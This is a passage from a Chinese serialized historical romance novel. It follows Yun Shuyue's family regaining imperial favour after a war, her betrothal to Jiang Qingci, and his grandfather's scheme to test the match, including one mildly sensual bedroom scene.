“祖父……” 江崇礼指了指椅子,叫他坐下。 “既然云家二人也要回来了,我已与你母亲说好,叫她到时候备礼上门,你与云二那边打声招呼,别叫她家觉得我们无礼,来得突兀。” 江清辞猛地站起身来:“祖父,您同意了!” 江崇礼不满地看他:“我不是早同意了吗?” 谁都知道,口头上同意,与实际上手推进事情本身,隔着十万八千里的距离呢。 江崇礼看着自己孙子眼中迸发出的强烈惊喜,无奈地摇了摇头,看他这样子,到时候怕是又要伤心欲绝了。 不过,不伤心一次,不受一次情伤,江崇礼怎么好把家主之位给他呢。 这是他的必经之路,江崇礼只能默默祈祷,一定要扛住啊,小伙子。 晚上,江清辞回到丹奉台,内心忐忑,对他而言极好的消息,却不像是要与云舒月报喜。 喜终归是他一个人的喜。 云舒月今晚宿在丹奉台,正在卧房里梳洗。 她对着铜镜见他回来了,扯起嘴角朝他笑了笑。 江清辞也朝她笑:“今日做了些什么?” “今日在太后那里。” 她梳头的手一顿,想起今日太后忽然笑嘻嘻地问她:“云二现在可还心悦江三公子?” 云舒月脸色像往常提起这件事情那般,脸颊泛起娇羞的红,垂头不语。 可她上次隐约感受到,太后好像不喜江家。 她几乎下意识想在太后面前否认。 太后却道:“瞧你这副模样,定还是喜欢的。” 但后来太后没说什么了,仿佛只是调笑了一番她而已,并不在意她是否真的喜欢江清辞。 江清辞顿了顿,还是道:“我有一好消息与你说。” 云舒月挪动屁股在凳子上转了个转,面向他,抬眸看他:“什么好消息?” 江清辞将口中的消息打了个转,道:“武将军即将班师回朝,你父兄都还平安,很快便能见到他们了。” 云舒月眼眸一亮,果然,这个对她来说才是好消息。 “还有一件事。” “什么事?” 她笑着看他,等他说出下一件好事。 江清辞道:“等你父兄回来,我母亲会到你家提亲,这回是我祖父亲自安排的。” 便是告诉她,这件事情彻头彻尾地得到了他家里人的支持,她是风风光光,被他家求着嫁来的。 如此,她应当也会高兴的吧。 可他捕捉到了云舒月极浅地蹙了一下的眉。 云舒月不是对这个消息不喜,而是太后还在这里,她当着太后的面儿,与江清辞定了亲,这样做真的好吗? 她只是下意识地排斥这样像是斩断后路的做法。 可在江清辞看来,两家结亲,必是要闹得沸沸扬扬、人尽皆知的呀。 隐隐藏藏的婚事,跟偷有什么区别。 “那太好了,清辞哥哥,这真是个好消息。” 她笑着说道。 “只是……提亲一事,能否等太后走了再说,或是,我们两家先私下商议。” 江清辞心想,她原是为了这个,并不是不想嫁他。 “好啊,太后常居行宫,牢城营里的事情只要有意隐瞒,她便不会知道,不过月儿迟早要穿着凤冠霞帔嫁我的,到时候就瞒不过任何人了。” 云舒月点点头,她觉得,事情是在往她想要的方向发展。 一切都很好,只除了父亲身上的意外。 她伸手抱住江清辞的腰,突然又好喜欢他。 “清辞哥哥,你真好,我们一辈子都在一起好不好?” 江清辞捏了捏她的脸蛋,宠溺笑着道:“好。” 他弯腰,一把将云舒月扛了起来。 云舒月肚子抵在他肩上,“咯咯”笑着,她觉得很幸福。 她要的婚礼、情爱,全都有。 而她家也即将脱罪,唯一唯一的缺陷就是父亲的腿。 可是仔细想想,那也不算什么了。 她会嫁给江清辞,做江家少主夫人,他们会一起回京,做像从前一样,受众人艳羡的一对儿。 抛开这些不谈,她也很喜欢很喜欢江清辞啊。 第72章 第72章自己如今已是最不配哭泣…… 江清辞突然觉得云舒月是真的爱他。 其实云舒月一直都是真的爱他。 只是她心里面想的事情太多了,总是阻碍她爱他。 他都明白的。 他将她轻轻放在床头,小心吻她:“月儿,你好美。” 云舒月乌发摊开在床头,美得像一团墨。她双颊绯红,眼眸中盈着春水,望着他时饱含深情。 江清辞心里动容,爱她爱得不得了。 他还未有动作,云舒月搂着他的肩,一下一下轻啄他的唇,吻上去时闭着眼,退开时又睁眼看他的唇。 他的唇本就线条优美,此时被她反复亲吻,微微泛红,更添了几分诱人的色泽。 在云舒月的触碰下,他的唇愈发柔软,微微张开。 每次云舒月退开睁眼打量时,都能看到他唇上的浅浅水渍,微微肿胀,显得愈发迷人。 她怎么这么喜欢呐。 江清辞搂着她,也喜欢得不行,他忍不住抬手,托住她的后脑。 他要加深这个吻,又被她躲开,她就要用她自己的节奏。 他的唇被她吻得有些发麻,却又甘之如饴。 他忽地睁开眼,也学着她,开始慢悠悠的,一边打量她,一边感受每一次唇的触碰。 云舒月见他睁眼,有些不满,伸手要捂他的眼,江清辞抓住她的手腕,埋头吻上了她的颈窝。 含糊不清地道:“照你这样一来一回的,要吻到何时。” 他的唇舌在她脖颈上吸吮的力道极大。 云舒月有些遭不住。 他抓住她的手往腰上带,叫她搂住自己的腰。 云舒月一只手放在他的头上,夹住他的耳朵,不久,喉间溢出了喘息声。 夜色将这件小屋温柔包裹,透过半掩的窗,能隐约瞧见屋内两个紧紧相拥的身影。 云舒月被他亲吻得浑身发麻,脑海中一片混沌。 意识逐渐迷离,她的呼吸急促而紊乱,她渴望更贴近他。 “清辞哥哥,我爱你。” 在肌肤相贴时,她喉间溢出的言语真得不能再真。 强烈的欲望如同潮水将她淹没,她的双手不自觉地在他后背游走,指尖用力抠入他的肌肤。恍惚间,云舒月在想,小时候想与他共鸳帐的想法不假。 她拽着床头的纱帘,随着摇晃看那影影绰绰,看他的肩背结实地起伏,指尖划过他肩上的曲线,她侧头寻上了他的唇,相连的一瞬,她要用力汲取。 吻得滚烫,湿润,会发出啵唧~啵唧~的声响。 若能一辈子就这样下去,云舒月觉得甚好,甚好,一边想着,一边将指痕又抠进了他的背。 “夫君今日吃了什么?怎的力气这样大,跟耗不光似的。” 江清辞伏在她身上道:“吃了月儿地里种的菜,月儿种的菜甚是好吃,为夫吃了,不得不卖力些。” 在一个很热很热的天气,武将军率着军队回来了。 不过不会在此地停留很久,大抵只是将牢城营的人放下,再让剩下的人收拾休养一阵,便要回朝。 云舒月跟着家人一起,一大早就到路边遥望,眼看着那个从天际线里出来的队伍。 穷尽目力去看,直到队伍越走越近,越走越近,然后开始找寻自家父兄的身影。 云舒月本想,自己父亲应是拄着拐的,那她便看看谁拄着拐。 却看到,伤军甚多。 拄着拐的人不计其数,没有手的人也有许多。 队伍渐渐走近,扬起的尘土模糊了她的视线,她瞪大了眼睛,焦急地搜寻。 人群突然一阵骚动,原来是几个士兵抬着一个断了双腿的将领走过,那将领面色如纸。 云舒月眼眶瞬间红了,不敢想象父亲若是这般模样,自己该如何承受。 以至于见到母亲的那一瞬,云舒月几乎是喜极而泣。 顿时便觉得,自己从前觉得的遗憾,都不是遗憾了。 云舒月再也忍不住,泪水夺眶而出,她挣脱母亲的手,朝着父亲跑去,嘴里呼喊着:“父亲,父亲!” 不光是她,大多数人不都是这个反应吗。 自己父兄回来了的,便喜极而泣,没能回来的,便伤心哭泣。 她的声音带着撕裂的哭腔,云明旭原本疲惫不堪的脸上,瞬间精神了:“闺女!闺女!我在这儿!”恨不得蹦起来喊。 云舒月扑过去抱住父亲,云明旭差些没拄住拐,单腿要摔下去。 云舒月将他拎住:“父亲,哥哥呢?” 云明旭道:“哦,你哥哥在后面呢,跟武将军在一起。” 林书柔跟在云舒月身后,脚步略显踉跄,见着丈夫后,便没再靠近了,只道:“活着就好,活着就好。” 王姨娘抱着孩子出现时,云明旭难得从云舒月脸上移开了视线,颤着手接过孩子,叹了声气道:“梅英,你吃苦了。” 老爷何曾说过这样慰人心的话,王姨娘感动得嘴唇颤抖:“不苦,不苦,得了老爷这么一句话,她吃再多苦也值了。” 云舒月难免要多说一句:“父亲,姨娘生产得很困难。” 云明旭道:“先回家吧,先回家去。” 云舒月还想等一会儿哥哥,虽说知道他没事,但总要亲眼见着。 可她没想到,哥哥竟是跟着武将军,骑着马回来的。 马蹄扬起的尘土在夕阳余晖中翻滚,云鸿祯坐在马上,身姿矫健,云舒月一看见他,连忙招手。 云鸿祯见着她,也连忙扬手示意,云舒月觉得,自己哥哥身上的气质变了。 哥哥的目光变得深邃锐利了,哥哥的腰背变得挺直了,哥哥憨傻的脸庞,变得坚毅了。 云鸿祯翻身下马,落地无声,再不是从前那个莽撞的哥哥。 可他一笑起来,还是傻乎乎的。 “妹妹!母亲!” 视线接着移动,发现自己还多了个弟弟。 现场哀嚎声此 起彼伏,接完自己的家人,云舒月还没忘了看看谭君雅她们。 若是大家的父兄都能平安归来,那就好了。 后来云舒月得知,谭君雅父亲没了,乔婉宁也没了个哥哥。 郑家郑昭言也是骑在马背上回来的,他从前本就是水师将领。 武志远对牢城营的众人道:“各位都先归家去,三日后本将携大军归京,届时自有皇上论功行赏,至于谁家可以被免罪,谁家不能,本将自会如实向皇上禀明。” 说完,众人做鸟兽散,聚起来时,这些本也就是未经训练的平民。 而武家军真正的士兵,不管伤的残的,都还整齐列队在后。 武志远牵马往营地去的时候,又在地上看到一个哭得撕心裂肺的女子。 谭君雅抱着哥哥弟弟放声大哭:“父亲呢,父亲没了啊啊啊。” 武志远皱眉,她哭起来难看,还刺耳。 谭君雅见他路过,连忙冲上去:“不是说好护住我父亲的吗?你这个将军怎么当的?若是无能,便别称将,你不配!” 武志远垂头看着身前的女子,眉头蹙起,她实在是大胆,他是皇上亲封的大将军,此次战役以极小的代价取胜,她有什么资格称自己不配为将。 武志远手中缰绳紧了紧,马匹不安地刨着蹄子。 而谭君雅涕泗横流,五官全都皱在一处,再无形象可言,她一个女子,先是失了丈夫,又是失了父亲,便是如何伤心也不为过的。 “你无能!你把我父亲还给我!” 武志远眼神变得凶厉,他无能?男人最忌讳女人说自己无能。 他一拳便能将她砸成肉泥,一脚便能将她踢废,她凭什么说自己无能。 若是有人凑近了看他,便会发现武将军此时的鼻孔在一张一合,手背上青筋凸起,捏紧了缰绳。 良久,他打马转了个方向。 罢了,她一个刚失了父亲的弱女子,他不跟她计较。 若是再有下次,哼!手指捏着缰绳,捏出咯咯声响。 谭君雅泪如雨下,模样近乎癫狂,人生之大悲啊。 她母亲抱着她,互相依偎着。 阚承颜在不远处看着她,皱了皱眉,二人已许久未见了。 可她现在……他也该去安慰一番的。 谭君雅哭着哭着,一旁忽地递上来一方洁白无瑕的手绢。 他道:“擦擦泪。” 谭君雅抬眼直视他,或者说,那叫瞪。 他也不恼,她连武将军都敢瞪,此时定是对任何人都不满。 谭君雅挥开他的手,看也不看他,低头扶起母亲:“母亲,咱们回去。” 要问人生之大悲究竟有多悲,谭君雅今日才知道。 其实她死了丈夫的时候也很悲伤的,她的先夫待她很好,好极了。 只是她从来都不敢想起,一想起来,除了悲伤就是悲伤,她不想,旁人却只当她没心没肺。 没心没肺挺好的。 “君雅,我将你从牢城营中救出来,本是打算好了要照顾你一辈子的,可这病来得凶险,我时常自责,将你娶为妻,却不能将你照顾到老。 你性子娇气,身子又柔弱,其实我知道,我知道你当时是刻意撩拨我的,但我心甘情愿救你出来。 我的妻子是极为聪明的女子,向来知道该如何改变处境,那么等我死后,你千万不要替我守贞,我若是知道你要受那样的苦,我会心疼。 到时你便像当初撩拨我那样,撩拨一个能给你更好生活的男子,如此我才能放心。” 谭君雅不住地摇头,先夫却道:“我的妻子很聪明,当初一眼看中了我,但我的妻子眼光不好,看中的我是个短命鬼。” “你便,你便一定再好好找一个能托付终身之人,我将我的宅子、铺子、田地全都给你。” “你向我保证,你将来要走一条最丰盛的路,你要不择手段去做。” 她那时也捂住他的唇哭了个肝肠寸断,可哭有什么用呢,病来如山倒,先夫死得很干脆。 而她也没再哭过,收拾收拾,如他所说,不择手段地找一条最丰盛的路去走。 她后来以为姿容冠绝的温润探花郎是她的路,可再后来,她发现那条路极为寡淡无味。 那不是他想要她找寻的。 她觉得先夫想错了,女子的路并不是要靠男子才丰盛的,她便就替他守贞又如何,她自己靠着他的宅子、铺子和田地,走一条路出来。 整个牢城营如今的气氛极为压抑,谁家没个少人缺腿的。 云舒月家里的情况还算好的,虽说看着父亲的残肢时,仍有些恍惚,却知道自己如今已是最不配哭泣的人了。 “月儿坚强,月儿打小就坚强,是没有什么困难能将月儿击倒的。” 母亲拍着她的背一声声说着。 云舒月缩在母亲怀里,一被哄,就又嘤嘤嘤哭了起来,她经不得哄。 “哇——母亲——呜呜呜” 第73章 第73章老臣云明旭历事多艰,特…… 云舒月从母亲怀里抬起头,一家人整整齐齐地围坐在桌旁。 王姨娘难得的又下厨做了一大桌子菜,只要不刻意去看云明旭的腿,脸上都还是扬着笑意的。 “来来来,快趁热吃。” 云明旭这才放下怀中的小儿子,笑呵呵地上了桌。 他将视线落在二女儿身上:“云二,家中这段时日如何?” 云舒月点点头:“一切都好。” 她知道今日家中大喜,便又笑着道:“还有件好事儿呢,就能父亲您回来了。” 云明旭挑眉道:“什么事?” “江家说是要上门来提亲,就等跟您商量了。” 云舒月放下筷子,淡淡说道。 父亲果真笑起来:“这是天大的好事,看来天注定我云家不倒啊。” 云明旭脸上的皱纹都舒展开来,端起酒杯,没忍住抿了几口。 除了他以外,王姨娘和云鸿祯也面露喜色。 林书柔脸上倒并无多少情绪,只有对女儿的担忧。 “云二自己愿意就行。” 母亲这样说道。 云舒月朝母亲点点头:“女儿自然愿意。” 林书柔撩了撩女儿鬓边的发丝,近些日子,女儿并不爱梳那种一丝不苟的油亮亮的盘发了,头发总是这样乱乱飞着。 她欣慰说道:“云二自小被教养得极好,定能做好江家妇。” 江家是个大家族,嫁去为妇,责任定是不小的。 林书柔担心的就是这个,不免多嘱咐一句:“操持内务、相夫教子、辅佐丈夫、周旋亲眷,样样都需用心,切不可再只拿好处,不管其他。” 云舒月只点头,林书柔也不知女儿将话听进去没有。 一家人其乐融融地吃了一顿饭,院子里响起拨浪鼓的声音,是云明旭正在逗弄小儿子。 云舒月走至院外,见远处已经飘扬起了阵阵香灰。 她也不知现在该不该去安慰一番好姐妹们。 犹豫了半晌,她提了一副奠仪分别到谭君雅和乔婉宁那儿走了一圈。 乔婉宁还好,只是突然变得不爱说话了,还勉强朝云舒月勾起了唇角:“你来了,你还好吗?” 云舒月摇头:“我还好。” 待到了谭君雅这儿,谭君雅的哭声那叫一个惨,嗓子都快哑 了,一声声哭泣像是呕出来的。 云舒月看得心疼:“谭姐姐,你节哀吧,也别太过伤心了,人还是得往前看。” 她再这么哭下去,云舒月真担心她哭出病来。 瞧她这两颗肿成鸡蛋似的眼睛。 她自然是没把人给劝动的,但谭君雅哭哑了嗓子,哭干了眼泪,声音终是一点一点小了下来。 谭家几位男子脸色也都不好,听他们一说,才知谭伯父竟是做了逃兵,结果被敌人捉了去,当场给砍了。 这下好了,不仅人没了,谭家这次还不能被脱罪。 云舒月一时半会儿,不知该如何说谭伯父才好。 牢城营里的哭声总有停歇的一天。 这天,江清辞叫上云舒月到溪边看夕阳。 云舒月心情舒畅,一直拉着他的手,夕阳的余晖将他们的身影拉得修长。 云舒月侧头看他,霞光勾勒出他俊朗的侧脸,每一处轮廓都叫她心动不已,眼中满是藏不住的倾慕。 走着走着,她突然停下脚步,江清辞疑惑地转过头,便被云舒月一把抱住。 她将脸埋在他的胸膛,听着他的心跳,将他抱得紧紧的。 她觉得此刻真是美妙极了,江清辞回过神来,伸手轻轻环住她,抚摸她的发丝,内心泛起酥酥麻麻的痒意,是被人爱着的感觉。 她拉着他走到溪边一块大石头旁,云舒月心里想着,待回了京,也该断了那避子药,好好同他生个孩子。 只希望一切事情都按照既定的方向走。 她伸出手,温柔地描摹他的眉眼,从眉毛的弧度,到眼睛的轮廓,再到高挺的鼻梁,最后停留在他的嘴唇上。 江清辞握住她的手,在她手背上印下一吻,眼神逐渐变得深邃,缓缓低下头,吻上她的唇。 爱意无限升腾的一日,云舒月满心沉浸在其中,几乎都忘了别的事情了。 皇上的旨意却到了。 牢城营中,谁家该被免罪,谁家不该,果然也在旨意中写得明明白白。 让人意想不到的却是,谭家人被宣判了免罪。 谭君雅拿着家中众人被无罪释放的旨意,良久回不过神来。 “这是……这是怎么回事,父亲不是当众叛逃的吗?”她哥哥这样说道。 谭君雅愣愣道:“是武将军……” 除了该被无罪释放的,该继续在牢城营服刑的,还另有几家被皇上给了新的封赏的。 诸如郑家一类,在战场上立了不小功劳的,不仅被判无罪,还被皇上赏了些诸如百户、都伯一类的小官。 从此便能继续在军营里发光发热了。 最令人瞩目的当是云家了,谁也没能想到,云家竟就这样翻身了。 那云鸿祯是立功了不假,可哪至于叫皇上降下这么大的恩赏来。 奉天承运,皇帝诏曰:“朕御极天下,威德广被,今当论功行赏,彰表忠义。云鸿祯于战阵之间屡建奇勋,武略初中,特封其为明威将军。朕亦敕造国公府于京,以示殊恩,望其勤勉奉公,不负朕望。 至于老臣云明旭,历事多艰,忠悃可鉴。往昔战事,虽身罹重创,犹奋不顾身,率部死战,挽狂澜于既倒,其功昭著,勋业彪炳。朕深为嘉许,特赐国公爵位,荣归京都,颐养天年。 朕之赏罚,唯以功过为衡,旨在激浊扬清,使天下忠勇之士咸知劝勉。望云氏父子及诸臣工,恪尽职守,矢志报国,共襄太平之盛举,同铸社稷之辉煌。 钦此!” 云家人接了圣旨,皆是面面相觑,心中满是震惊与喜悦。 只是那“奋不顾身,率部死战”八个字,这是从何而来? 云明旭很摸不着头脑,他记得他被潘黄带着回军营以后,一直躲在队伍后面养伤。 云舒月手中紧紧攥着圣旨,眼眶泛红,泪水在眼眶中打着转。 “呜呜呜,父亲,哥哥,你们俩这么勇猛的吗,怎么不早说。” 她拿起小拳拳狠狠锤了他们两个,早说她就能早高兴呀。 立了功也藏着掖着不说,真是过分。 云明旭是真不知道咋回事,云鸿祯一脸坚毅,接过圣旨跪地,神色庄重,声音洪亮:“臣定不负皇上期许,为保家卫国,赴汤蹈火在所不辞!” 看着这一幕,云舒月一边喜极而泣,一边想着,再也不偷偷骂皇上了,皇上是个好人。 太好了,她也再不必想着去夜郎国了,京城自有她一席之地。 就是,父亲既然有了国公爵位,她也早已及笄,皇上什么时候下旨封她为郡主呢。 这么想着,云舒月难免望向半山腰住着的太后,皇上不一定会下旨了,毕竟她们家如今的封赏已经够多了,那她总能走走太后那条路。 这般想着,云舒月不禁揣度起来,自己该如何说、怎么讨? 要一个名正言顺的封赏而已,对云舒月来说并不难。 晚上,牢城营众人难得的聚在一处,营地中央摆起了几张长桌,是要一起吃顿大席的意思。 今晚过后,明天大家就要各奔东西了。 已经没有罪名在身,天大地大,有封赏的便去赴任,没有封赏的便要自己去闯荡。 江清辞站在丹奉台上,对底下盛况睁一只眼闭一只眼,他这个专管牢城营的校尉,说起来也并没什么用处了。 江崇礼带着二儿媳站在江清辞身侧,身后是备好的要送去云家的礼。 “今晚何不让云家双喜临门,老二媳妇,你也去凑凑热闹吧。” 薛亦秋满脸的不情愿,就是知道公公打的是什么算盘。 江清辞虽是高兴的,但总隐约觉得,事情还有变数。 他沉声道:“云家明日便能启程回京了,祖父,我们江家是否一定要等到三年之期满。” 江崇礼心里想着,当然不必,何时想回,何时回便是,但皇上说的是三年。 “等三年又如何?不等三年又如何?” 江清辞一愣,是啊,三年如何,无论今日提不提亲,他与月儿本就是夫妻了,无论月儿是想与他在这里待到三年期满,还是想先回京去,他都无意见。 他转头朝母亲颔首:“那便劳烦母亲,替儿子去一趟吧。” 他手抚着胸口,那里揣着一份盖有夜郎国国君印的婚书。 他几乎是能感觉到这份婚书效力的逐渐流失。 夜郎国国君的印,终归是不如大礼朝的印。 更何况,云家如今又是官身了,月儿既是明威将军之妹,又是国公千金,他还真担心,这份婚书拿出来无人会认了。 就像是,江家的三公子,与国公府的二小姐,到夜郎国闹出的一场闹剧,拿回来以后,长辈不认。 他轻轻叹了声气,还是月儿想得周到,须得两家长辈共同商讨的婚事,才叫婚事。 云舒月还沉浸在喜悦之中,明日,明日便能回京了,比从前还要荣耀地回京去。 谭君雅在一旁托腮发呆,云舒月没敢打扰她,怕她还沉浸在悲伤之中。 可谭君雅撑着撑着,忽然道:“为什么呢?” 云舒月问她:“什么为什么?” “为什么他要帮我家。” 云舒月了然,摆摆手道:“武将军不是个不饶人的,总体来说,是个好人。” 就凭他一五一十(添油加醋)把她父兄的功劳呈报上去这一点,云舒月对武将军很有好感。 谭君雅一拳锤在桌子上:“可他还是害死了我父亲!” 云舒月无奈道:“你别什么都往人家身上推,实话说,谭伯伯出事,与武将军应是没什么关系的。” 谭君雅泄了气:“我知道,只是你又何必把事情说得这么明白,我就是生气还不行吗?” 云舒月眨眨眼,狡黠道:“实在生气的话,跟我一起回京呀,找机会报复回来。” 谭君雅眼睛一亮,似乎找到了人生新的目标:“报复?好主意。” 那姓武的不是牛气哄哄的吗,那么多次,美人计苦肉计全使了,叫他帮忙他也不帮,最后假惺惺 的给了谭家这么个好处,说明什么,说明那些苦肉计美人计的还不是被他看进了心里去,既然看进了心里去,却早不帮忙,人死了才知道找补。 谭君雅心想,如果你始终刀枪不入也就罢了,既然你的的确确是动了心,就别怪老娘手狠了。 云舒月又把牢城营的姐姐妹妹们召集了起来。 “咱们微光诗社将来的据点就在京城,所以我希望大家一起回京去。” 第74章 第74章江三,你别太自私了。…… 众女都皱着眉头。 “我父兄说,要举家搬去西北。” “我们家决定去南方当渔民。” “我们家要重操旧业,去江南办布坊。” 总之,大家都各有各的去处,云舒月总不能叫她们离开家人,跟着自己走吧。 她想了一会儿,眼睛一亮:“有了,我去找太后说,太后定不想让我们诗社就此解散。” 云舒月想着,若她们能在太后那儿得个女官的职位,就不必跟着父兄远走了。 听她这么一说,众女也都兴奋起来,若是可以,谁不想回京呢?谁又想去那么远的地方呢。 云舒月心里一边琢磨着,一边往山上走,事不宜迟。 可这上山找太后的路上,正巧碰到了下山的江伯母。 薛亦秋拉着云舒月:“月儿这是要上山找江三去?那就去吧,我去找你母亲谈事。” 云舒月看着跟在伯母身后的一长串红木箱子,哪里还不懂这是做什么去的。 她笑着,脸颊含羞:“伯母,那我就先上去了。” 提亲的事情,她是提前与家里说了的,江家伯母这一去,也不突兀。 云舒月上山的脚步也轻快了许多,能嫁给清辞哥哥,当然好呀,并且是两家长辈共同商议的,他们两个从此以后,就是正大光明的夫妻了,真好。 她几乎是蹦跶着上的山。 “太后娘娘!” 太后放下糖蒸酥酪的碗,慈祥地看向她:“云二丫头,你来啦,坐吧,想吃些什么?” 邓嬷嬷忙端上糕点过来,都是云二小姐从前爱吃的。 “瞧你,什么事这么高兴?” 太后早知道了皇帝的旨意,但是看着这把满心思都挂在脸上的孩子,还是忍不住高兴。 云舒月拿起糕点吃得正香,不知想起什么,连忙起身朝着太后磕了几个大头。 “太后对月儿可真好!” 云舒月没有明说什么,但无论什么好处,都往太后身上安准没错。 就当是太后帮着她家的,又能怎么样。 听她这么一说,太后也不好不揽功,虽说她的确也没帮云家什么。 不过她脑子也转起来,孩子都跪下了,自己若是真的什么也不做,就太不应该了。 “你父亲如今有了爵位,那便传哀家懿旨,将你的郡主之位也封了吧,可有什么想要的封号?” 云舒月抬起头,眼睛极亮:“多谢太后!太后您真好!月儿要一辈子在您跟前尽孝。” 太后被她这般真挚模样逗得哈哈大笑,伸手摸她的头,“你这丫头,就会哄人开心,快说吧,想要个什么封号。” 云舒月歪着头,脑海中闪过诸多念头。 云家如今虽已翻身,在京城却并无根基,还是像从前一样,皇家一声令下,便能让他们家倾覆。 沉思片刻后,她甜甜开口:“太后,月儿斗胆,想请太后赐‘宁安’二字,月儿只愿我朝四海安宁,百姓安居乐业。” 若能将自己的封号与国运浅浅连接起来,皇上以后若再对云家不满,能否网开一面? 太后点头:“就依你所言,封你宁安郡主。” “对了太后,月儿还有一事相请。” 云舒月端端正正地站着说,也不是祈求的语气。 太后来了些兴趣:“你说。” 云舒月把自己诗社的事情一说,太后觉得这些请求都在情理之中,便叫邓嬷嬷拿来名单,将这些人挨个安排进了诸如内廷司乐、画院待诏、宫廷侍讲一类的官职里。 云舒月在太后这里待到了很晚,双方都很尽兴,一个会哄,一个也大方。 云舒月回到家,家中堆满了红木箱子,母亲拉着她:“事情已经谈好了,本来是说的,待江家回京后大婚,但江夫人说,你们二人已经相处已久,年龄也到这儿了,便就先在黔州把婚事办了,照样办得盛大,我觉得也有几分道理,事情不宜拖得太久。” 再加上,江家为表明诚意,又添了许多聘礼过来,就算是在黔州办,这婚礼怕也是要盛大得举国都知道。 云舒月先是一愣,后面又不觉得有什么不可以的了,她起初就是想要个盛大的,人人艳羡的婚礼,江家既然愿意在黔州花更大的代价办这么一场婚礼,她没什么不愿意的。 母亲说得对,事情不宜拖得太久。 至于太后那边……大局已定,小事情改变不了多少了。 云舒月丝毫没有考虑到,云江两家的结合,会让皇上忌惮到想立刻收回对云家的封赏。 太久没有待在京城了,她思考这些问题的能力下降了许多。 只知道,自己家如今盛大,那便再盛大些,越盛大越好。 云舒月没能意识到的事情,江清辞却不可能意识不到。 从云家收到圣旨开始,他就已经觉得不对劲了。 深夜,他推开祖父的书房们,脸色很难看。 “祖父,你为什么要这么做?” 本来云家最多只会得到一般的封赏,不会被抬得这么高。 江崇礼淡然道:“这样不好吗?江三,你别太自私了。” 江清辞蹙眉,他自私? “我把云家抬到那样的高处,你有什么好不高兴的。” 江清辞无言以对,可这样一来,他与月儿的结合……必会遭到皇上忌惮。 “这家主之位,祖父传给别人吧,大哥就不错。” 江崇礼吹着胡子坐直身子:“你简直胡闹!你猜猜她会选什么?” 江清辞站直了身子,挺起了胸膛:“她会选我。” “放屁!你在这儿放弃了家主之位,你以为堂堂宁安郡主还能看得上你?” 几乎是在太后下旨的一瞬,江崇礼这里就已得到了所有消息。 江崇礼抚着胡须,平静下来,缓缓道:“你就认命吧,她不会选你,她得到她想要的,你如果真爱她,就该为她高兴。” 江家未来的家主夫人,不需要什么太高的地位和身份,但唯独要品行端正,堪当宗妇。 听完祖父一席话,江清辞整个人如遭雷击,瘫软在椅子上。 可他捏着腰间被绣工极差的一枚荷包,忽地斩钉截铁说道:“祖父,我打赌,月儿不会放弃我。” 江崇礼捏着胡子笑:“那是最好的,若她如今转了性子,真有这么重情重义,老夫将亲自教她如何管理江家。” 江清辞站在窗边,蜷在身后的手,捏紧了拳。 “事情也不便再拖延下去了,你明日,便借口邀云二上来。” 江清辞无声颔首,半张脸隐在阴暗处。 家主之位,他自然是要的,云舒月,他也要。 天亮以后,云鸿祯要回京复命,早早地简装上了马。 家里剩下的人,都决定慢慢地等云二大婚以后,再往京城走。 反正现在也不着急了,这黔州的绿水青山,看起来竟格外好看,倒让人有些舍不得走了。 晚上,江清辞邀云舒月上山吃饭,云舒月自是要去的。 不仅要去,还要欢欢喜喜地去。 “清辞哥哥,今天有些什么好吃的呀。” 她蹦跳着过去,一下子跳到了他身上挂着。 江清辞心里软得不行,温柔道:“有你喜欢的香酥鸭。” 云舒月眼睛亮晶晶的,果然有她喜欢吃的,江清辞问问接住她,双手托住她的腿弯,朝山上走去。 山路 蜿蜒,两旁的树木在微风里沙沙作响,云舒月没有看见江清辞脸上一闪而过的苦涩。 在她心里,一切事情都发展得十分完美。 殊不知,样样完美的背后,定会藏着坑。 一路上,云舒月叽叽喳喳说个不停,一会儿讲起牢城营里众人的打算,一会儿讲起自己家的国公府将会被建在哪儿,一会儿又说起云鸿祯回京都带了些什么东西。 江清辞时不时应和几句,语气始终温柔。 她说了一会儿,又开始将头埋在他颈肩亲吻他,嘬着嗦着,撩开他的衣领。 江清辞脑袋夹住肩,拍了拍她的头:“回去再弄。” 云舒月很喜欢在山间挑逗他,光是在屋子里有什么意思。 她伸手搂住他的脖子,攀着身子往上,一口含住他的耳垂。 江清辞猛地顿住脚步,深吸一口气,将她的头托起来吻她。 好不容易走到了丹奉台,饭菜的香气早已飘了出来。 这上面常年只江清辞一人居住,除了下人。 云舒月也没多想,从他身上下来,蹦蹦跳跳进了屋门。 可转眼却看见,好些下人端着饭菜进了远处另一屋。 “今日可还有什么人在?” 江清辞道:“是祖父来了,在书房与大哥他们谈事,你不必在意。” 云舒月点点头,既然都叫她不必在意了,她当然不会在意。 可她眼珠子转了转:“在谈什么事?为何不与你谈。” 江清辞道:“我要陪你吃饭。” 云舒月坐端正了身子:“夫君若有事便去吧,我自己就可以的。” 她不是随便闹脾气的女人,男子宠妻子是一回事,但若为了宠妻子,连外面的事情也不顾了,就不应该了。 在云舒月心里,江家若有要事,必是要与江清辞谈的,她可不想自己的夫君错过家族要事的商讨,就只为了陪她。 江清辞失笑:“没事的,不是什么要事。” 云舒月便道:“那待会儿我去拜见一下祖父吧。” “祖父”二字江清辞听得心里暖暖的,祖父一会儿是要叫月儿过去,是想与她谈清楚利弊,好叫她又弃他一次。 江清辞轻微地摇了摇头,祖父真是对他心狠。 不过他觉得月儿这次不会轻易放弃他了。 就算云江两家结亲会引起皇上的忌惮,可旨意不是那么好收回的,只要两家一起应对,江清辞可以向她保证保住云家现有荣宠。 月儿聪明,知道该如何取舍的,更何况,他们二人是有情意在的,与从前不同的。 云舒月吃完饭,换了套衣服,她身上穿的还是从前的棉布衣服,她寻思着,要见江祖父,还是换件好点的衣服。 江清辞目送她过去,觉得祖父的考验真是多余,就单单靠着皇上忌惮,便能让月儿放弃他吗? 成了婚,两家就是一体的了呀,她那么聪明,逼也会逼着**云家稳固地位的。 到时候云家少了什么,她尽可以再从江家取。 可江清辞哪里知道,老狐狸比他要懂云二得多,计谋也用得老奸巨猾。 云舒月还未靠近书房,便听到了房内气愤的声音传出来。 她不敢再靠近,只敢在门外谨慎停留一会儿。 她知道里头必是在谈要事,她也许不能听,但她莫名地留下来听了起来。 “皇上要我们江家继续在黔州留守,归京之期待定。” “祖父,这怕是……皇上要出尔反尔的意思。” 第75章 第75章“江清辞,我们还是算了…… “不可胡说!皇上心意如何,不是这么简单就能揣测的。”江崇礼瞥了窗外一眼。 “可三年再加三年,祖父您的身子耗不住,我江家不得不被拖垮在黔州,就算有回去的一天,京城将来再无我们容身之地。” 江崇礼叹了声气:“就算皇上真有此意,我们做臣子的,又能怎么样呢?反正我年纪大了,黔州正适合颐养天年。” 里头没再多说,可云舒月已将时局听得明了。 